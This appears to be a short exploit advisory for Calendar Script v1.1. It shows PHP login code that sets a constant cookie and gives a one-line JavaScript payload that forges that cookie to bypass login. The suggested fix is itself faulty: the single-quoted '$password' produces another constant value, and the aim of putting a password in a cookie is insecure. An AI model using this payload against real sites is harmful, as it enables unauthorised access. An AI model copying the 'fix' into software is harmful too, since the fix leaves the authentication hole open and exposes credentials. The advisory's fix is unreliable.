Calendar Script 1.1 Insecure Cookie Handling Vulnerability

[START] ######################################################################################### [0x01] Informations: Script : Calendar Script v1.1 Download : http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1 Vulnerability : Insecure Cookie Handling Author : Osirys Contact : osirys[at]live[dot]it Website : http://osirys.org Notes : Proud to be Italian Greets: : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX ######################################################################################### [0x02] Bug: [Insecure Cookie Handling] ###### Bugged file is: /[path]/index.php [CODE] if(mysql_num_rows($checkDetails) > 0) { setcookie('nodstrumCalendarV2', '1', time()+3600); // Cookie will expire in 1 hour. // $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>'; } [/CODE] If we login in correctly, a cookie is created with 'nodstrumCalendarV2' as name and '1' as content. ## [!] FIX: Change name or content to the cookie. Example: [CODE] if(mysql_num_rows($checkDetails) > 0) { setcookie('nodstrumCalendarV2', '$password', time()+3600); // Cookie will expire in 1 hour. // $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>'; } [/CODE] ### [!] EXPLOIT: javascript:document.cookie = "nodstrumCalendarV2=1; path=/"; ######################################################################################### [/END]